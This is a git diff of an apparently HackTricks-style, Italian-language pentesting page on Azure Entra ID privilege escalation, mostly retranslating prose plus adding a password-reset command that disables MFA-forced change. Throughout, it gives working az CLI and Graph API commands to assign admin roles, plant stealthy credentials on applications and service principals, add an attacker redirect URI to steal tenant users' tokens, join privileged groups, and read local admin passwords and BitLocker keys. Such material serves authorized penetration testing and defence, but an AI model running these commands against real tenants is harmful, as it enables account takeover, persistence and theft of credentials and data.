diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
index 804805cfe..7cd3c0c27 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
@@ -3,15 +3,15 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
-> Nota che **non tutte le autorizzazioni granulari** che i ruoli integrati hanno in Entra ID **sono eleggibili per essere utilizzate nei ruoli personalizzati.**
+> Nota che **non tutti i granular permissions** che i ruoli built-in hanno in Entra ID **sono eleggibili per essere usati in custom roles.**
-## Ruoli
+## Roles
-### Ruolo: Privileged Role Administrator
+### Role: Privileged Role Administrator
-Questo ruolo contiene le autorizzazioni granulari necessarie per poter assegnare ruoli ai principals e per concedere ulteriori permessi ai ruoli. Entrambe le azioni potrebbero essere abusate per escalare i privilegi.
+Questo ruolo contiene i granular permissions necessari per poter assegnare ruoli ai principals e per dare più permissions ai ruoli. Entrambe le azioni potrebbero essere abused per escalare privilegi.
-- Assegnare un ruolo a un utente:
+- Assign role to a user:
```bash
# List enabled built-in roles
az rest --method GET \
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
-- Aggiungere più permessi a un ruolo:
+- Aggiungi più permessi a un role:
```bash
# List only custom roles
az rest --method GET \
@@ -48,11 +48,11 @@ az rest --method PATCH \
]
}'
```
-## Applicazioni
+## Applications
### `microsoft.directory/applications/credentials/update`
-Questo consente a un attaccante di **aggiungere credenziali** (password o certificati) ad applicazioni esistenti. Se l'applicazione dispone di permessi privilegiati, l'attaccante può autenticarsi come tale applicazione e ottenere tali privilegi.
+Questo consente a un attacker di **aggiungere credenziali** (password o certificati) alle applicazioni esistenti. Se l'applicazione ha privilegi, l'attacker può autenticarsi come quell'applicazione e ottenere quei privilegi.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id --append
@@ -61,13 +61,13 @@ az ad app credential reset --id --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
-Ciò consente le stesse azioni di `applications/credentials/update`, ma limitate alle applicazioni di una singola directory.
+Questo consente le stesse azioni di `applications/credentials/update`, ma limitate alle applicazioni a singola directory.
```bash
az ad app credential reset --id --append
```
### `microsoft.directory/applications/owners/update`
-Aggiungendosi come owner, un attacker può manipolare l'applicazione, incluse le credenziali e le autorizzazioni.
+Aggiungendosi come owner, un attacker può manipolare l'application, incluse credenziali e permissions.
```bash
az ad app owner add --id --owner-object-id
az ad app credential reset --id --append
@@ -77,24 +77,24 @@ az ad app owner list --id
```
### `microsoft.directory/applications/allProperties/update`
-Un attaccante può aggiungere un URI di reindirizzamento alle applicazioni utilizzate dagli utenti del tenant e poi condividere con loro URL di accesso che usano il nuovo URI di reindirizzamento per rubare i loro token. Nota che se l'utente era già autenticato nell'applicazione, l'autenticazione sarà automatica senza che l'utente debba accettare nulla.
+Un attacker può aggiungere una redirect URI alle applicazioni che vengono usate dagli utenti del tenant e poi condividere con loro URL di login che usano la nuova redirect URL per rubare i loro token. Nota che se l'utente era già loggato nell'application, l'autenticazione avverrà in automatico senza che l'utente debba accettare nulla.
-Nota che è anche possibile modificare le autorizzazioni richieste dall'applicazione per ottenere più privilegi; in questo caso l'utente dovrà accettare nuovamente il prompt che richiede tutte le autorizzazioni.
+Nota che è anche possibile modificare i permessi che l'application richiede per ottenere più permessi, ma in questo caso l'utente dovrà accettare di nuovo il prompt che richiede tutti i permessi.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
-### Applications Privilege Escalation
+### Escalation dei privilegi delle Applications
-**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni predefinite che hanno **API permissions** di tipo **`Application`** assegnate a loro. Un API Permission (come chiamato nella Entra ID console) di tipo **`Application`** significa che l'applicazione può accedere all'API ed eseguire azioni senza un contesto utente (senza un utente che effettua il login nell'app), e senza bisogno dei ruoli Entra ID per permetterlo. Di conseguenza, è molto comune trovare **applicazioni con privilegi elevati in ogni Entra ID tenant**.
+**Come spiegato in [questo post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni di default che avevano **API permissions** di tipo **`Application`** assegnate. Una API Permission (come viene chiamata nella console Entra ID) di tipo **`Application`** significa che l'applicazione può accedere all'API ed eseguire azioni senza un contesto utente (senza un login dell'utente nell'app), e senza bisogno di Entra ID roles per autorizzarla. Per questo motivo, è molto comune trovare **applicazioni ad alto privilegio in ogni tenant Entra ID**.
-Quindi, se un attaccante ha qualsiasi permesso/ruolo che gli permette di **aggiornare le credenziali (segreto o certificato) dell'applicazione**, l'attaccante può generare una nuova credenziale e poi usarla per **autenticarsi come l'applicazione**, ottenendo tutti i permessi che l'applicazione possiede.
+Poi, se un attacker ha qualsiasi permission/role che consenta di **aggiornare le credenziali (secret o certificate) dell'application**, l'attacker può generare una nuova credenziale e poi usarla per **autenticarsi come l'application**, ottenendo tutti i permission che l'application ha.
-Nota che il blog menzionato condivide alcune **API permissions** di comuni applicazioni Microsoft predefinite; tuttavia, qualche tempo dopo questo report Microsoft ha risolto il problema e ora non è più possibile effettuare il login come applicazioni Microsoft. Rimane comunque possibile trovare **applicazioni personalizzate con privilegi elevati che potrebbero essere abusate**.
+Nota che il blog menzionato condivide alcune **API permissions** di comuni applicazioni Microsoft di default; tuttavia, qualche tempo dopo questo report Microsoft ha corretto il problema e ora non è più possibile fare login come applicazioni Microsoft. Però è ancora possibile trovare **custom applications con privilegi elevati che potrebbero essere abusate**.
-How to enumerate the API permissions of an application:
+Come enumerare le API permissions di un'application:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
@@ -125,7 +125,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
-Trova tutte le autorizzazioni API delle applicazioni e contrassegna le API di proprietà Microsoft
+Trova tutti i permessi API delle applicazioni e marca le API di proprietà di Microsoft
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -241,27 +241,27 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
-Questo permette a un attaccante di aggiungere credenziali a service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere tali privilegi.
+Questo consente a un attacker di aggiungere credentials a service principals esistenti. Se il service principal ha privilegi elevati, l'attacker può assumere quei privilegi.
```bash
az ad sp credential reset --id --append
```
> [!CAUTION]
-> La nuova password generata non apparirà nella web console, quindi questo potrebbe essere un modo furtivo per mantenere persistenza su un service principal.\
+> La nuova password generata non apparirà nella web console, quindi questo potrebbe essere un modo stealth per mantenere la persistence su un service principal.\
> Dall'API possono essere trovate con: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
-Se ottieni l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** dello SP e prima devi sbloccarlo. Per farlo è necessaria un'autorizzazione (`microsoft.directory/applications/allProperties/update`) che consente di eseguire:
+Se ottieni l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** dello SP e prima devi sbloccarlo. Per farlo ti serve un permesso (`microsoft.directory/applications/allProperties/update`) che ti consente di eseguire:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
-Questo permette a un attaccante di aggiungere credenziali ai service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere tali privilegi.
+Questo consente a un attacker di aggiungere credenziali agli service principal esistenti. Se il service principal ha privilegi elevati, l'attacker può assumere quei privilegi.
```bash
az ad sp credential reset --id --append
```
### `microsoft.directory/servicePrincipals/owners/update`
-Analogamente alle applications, questo permesso consente di aggiungere altri owners a un service principal. Possedere un service principal permette il controllo sulle sue credentials e permissions.
+Analogamente alle applications, questa permission consente di aggiungere altri owners a un service principal. Possedere un service principal permette di controllarne le credentials e le permissions.
```bash
# Add new owner
spId=""
@@ -279,13 +279,13 @@ az ad sp credential reset --id --append
az ad sp owner list --id
```
> [!CAUTION]
-> Dopo aver aggiunto un nuovo owner, ho provato a rimuoverlo ma l'API ha risposto che il metodo DELETE non era supportato, anche se è il metodo che devi usare per rimuovere l'owner. Quindi **non puoi rimuovere gli owner al momento**.
+> Dopo aver aggiunto un nuovo owner, ho provato a rimuoverlo ma l'API ha risposto che il metodo DELETE non era supportato, anche se è il metodo che devi usare per eliminare l'owner. Quindi **non puoi rimuovere gli owner al giorno d'oggi**.
-### `microsoft.directory/servicePrincipals/disable` e `enable`
+### `microsoft.directory/servicePrincipals/disable` and `enable`
-Questi permessi consentono di disabilitare e abilitare i service principals. Un attacker potrebbe usare questo permesso per abilitare un service principal a cui riuscisse ad ottenere l'accesso in qualche modo, per escalate privileges.
+Questi permessi consentono di disabilitare e abilitare i service principals. Un attacker potrebbe usare questo permesso per abilitare un service principal a cui riuscisse ad accedere in qualche modo per escalare privileges.
-Nota che per questa tecnica l'attacker avrà bisogno di permessi aggiuntivi per poter take over il service principal abilitato.
+Nota che per questa tecnica l'attacker avrà bisogno di più permessi per prendere il controllo del service principal abilitato.
```bash
# Disable
az ad sp update --id --account-enabled false
@@ -295,7 +295,7 @@ az ad sp update --id --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
-Queste autorizzazioni permettono di creare e ottenere credenziali per single sign-on, il che potrebbe consentire l'accesso ad applicazioni di terze parti.
+Questi permessi consentono di creare e ottenere credenziali per il single sign-on, il che potrebbe consentire l'accesso ad applicazioni di terze parti.
```bash
# Generate SSO creds for a user or a group
spID=""
@@ -321,30 +321,30 @@ az rest --method POST \
### `microsoft.directory/groups/allProperties/update`
-Questa autorizzazione consente di aggiungere utenti a gruppi privilegiati, portando a privilege escalation.
+Questo permesso permette di aggiungere utenti a gruppi privilegiati, portando a privilege escalation.
```bash
az ad group member add --group --member-id
```
-**Nota**: Questa autorizzazione esclude Entra ID role-assignable groups.
+**Nota**: Questa autorizzazione esclude i gruppi assegnabili ai ruoli di Entra ID.
### `microsoft.directory/groups/owners/update`
-Questa autorizzazione consente di diventare owner di gruppi. Un owner di un gruppo può controllare l'appartenenza e le impostazioni del gruppo, potenzialmente permettendo l'elevazione dei privilegi tramite il gruppo.
+Questa autorizzazione consente di diventare owner di gruppi. Un owner di un gruppo può controllare l'appartenenza al gruppo e le impostazioni, con la possibilità di escalare i privilegi verso il gruppo.
```bash
az ad group owner add --group --owner-object-id
az ad group member add --group --member-id
```
-**Nota**: Questa autorizzazione esclude i role-assignable groups di Entra ID.
+**Nota**: Questo permesso esclude i gruppi assegnabili ai ruoli di Entra ID.
### `microsoft.directory/groups/members/update`
-Questa autorizzazione consente di aggiungere membri a un gruppo. Un attacker potrebbe aggiungere se stesso o malicious accounts a privileged groups per ottenere accesso elevato.
+Questo permesso consente di aggiungere membri a un gruppo. Un attacker potrebbe aggiungere sé stesso o account malevoli a gruppi privilegiati, ottenendo così accesso elevato.
```bash
az ad group member add --group --member-id
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
-Questa autorizzazione consente di aggiornare la membership rule di un gruppo dinamico. Un attacker potrebbe modificare le regole dinamiche per includere se stesso in gruppi privilegiati senza un'aggiunta esplicita.
+Questo permission consente di aggiornare la membership rule in un dynamic group. Un attacker potrebbe modificare le dynamic rules per includere se stesso in privileged groups senza un'esplicita aggiunta.
```bash
groupId=""
az rest --method PATCH \
@@ -355,27 +355,41 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
-**Nota**: Questa autorizzazione esclude Entra ID role-assignable groups.
+**Nota**: Questa permission esclude i gruppi assignable di Entra ID.
### Dynamic Groups Privesc
-Potrebbe essere possibile per gli utenti aumentare i propri privilegi modificando le proprie proprietà per essere aggiunti come membri dei dynamic groups. Per maggiori informazioni consulta:
+Potrebbe essere possibile per gli utenti escalare privileges modificando le proprie properties per essere aggiunti come membri di dynamic groups. Per maggiori informazioni controlla:
{{#ref}}
dynamic-groups.md
{{#endref}}
-## Utenti
+## Users
### `microsoft.directory/users/password/update`
-Questa autorizzazione consente di reimpostare la password degli utenti non amministratori, permettendo a un potenziale attaccante di aumentare i privilegi sugli altri utenti. Questa autorizzazione non può essere assegnata a ruoli personalizzati.
+Questa permission consente di reimpostare la password degli utenti non-admin, permettendo a un potenziale attacker di escalare privileges verso altri utenti. Questa permission non può essere assegnata a custom roles.
```bash
-az ad user update --id --password "kweoifuh.234"
+# Update user password
+userId=""
+az ad user update --id $userId --password "kweoifuh.234"
+
+# Update user password without needing to change or use MFA on next sign-in
+az rest --method PATCH \
+--uri "https://graph.microsoft.com/v1.0/users/$userId" \
+--headers "Content-Type=application/json" \
+--body "{
+\"passwordProfile\": {
+\"forceChangePasswordNextSignInWithMfa\": false,
+\"forceChangePasswordNextSignIn\": false,
+\"password\": \"kweoifuh.234\"
+}
+}"
```
### `microsoft.directory/users/basic/update`
-Questo privilegio permette di modificare le proprietà dell'utente. È comune trovare gruppi dinamici che aggiungono utenti in base ai valori delle proprietà; di conseguenza, questo permesso potrebbe consentire a un utente di impostare il valore di proprietà necessario per diventare membro di un gruppo dinamico specifico e elevare i privilegi.
+Questo privilegio consente di modificare le proprietà dell'utente. È comune trovare dynamic groups che aggiungono utenti in base ai valori delle proprietà; quindi, questo permesso potrebbe consentire a un utente di impostare il valore della proprietà necessario per essere membro di un specifico dynamic group ed escalare privilegi.
```bash
#e.g. change manager of a user
victimUser=""
@@ -391,19 +405,19 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
-## Criteri di accesso condizionale & MFA bypass
+## Conditional Access Policies & MFA bypass
-Criteri di accesso condizionale mal configurati che richiedono MFA potrebbero essere bypassati, controlla:
+Le policy di conditional access mal configurate che richiedono MFA potrebbero essere bypassate, verifica:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
{{#endref}}
-## Dispositivi
+## Devices
### `microsoft.directory/devices/registeredOwners/update`
-Questa autorizzazione permette agli attaccanti di assegnarsi come proprietari dei dispositivi per ottenere il controllo o l'accesso alle impostazioni e ai dati specifici del dispositivo.
+Questo permesso consente agli attacker di assegnarsi come owner dei devices per ottenere controllo o accesso alle impostazioni e ai dati specifici del device.
```bash
deviceId=""
userId=""
@@ -414,7 +428,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
-Questa autorizzazione consente agli attaccanti di associare il proprio account a dispositivi per ottenere accesso o eludere le politiche di sicurezza.
+Questa permission consente agli attacker di associare il proprio account ai devices per ottenere accesso o bypassare le security policies.
```bash
deviceId=""
userId=""
@@ -425,7 +439,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
-Questa autorizzazione consente agli attackers di leggere le proprietà delle credenziali dell'account amministratore locale salvate per i dispositivi uniti a Microsoft Entra, inclusa la password
+Questa permission consente agli attacker di leggere le proprietà delle credenziali di backup dell’account administrator locale per i device Microsoft Entra joined, inclusa la password
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -440,7 +454,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
-Questa autorizzazione consente l'accesso alle chiavi di BitLocker, il che potrebbe permettere a un attaccante di decrittare i dischi, compromettendo la riservatezza dei dati.
+Questa permission consente di accedere alle chiavi BitLocker, il che potrebbe permettere a un attacker di decryptare i drive, compromettendo la data confidentiality.
```bash
# List recovery keys
az rest --method GET \
@@ -451,7 +465,7 @@ recoveryKeyId=""
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
-## Altre permissions interessanti (TODO)
+## Altri permessi interessanti (TODO)
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`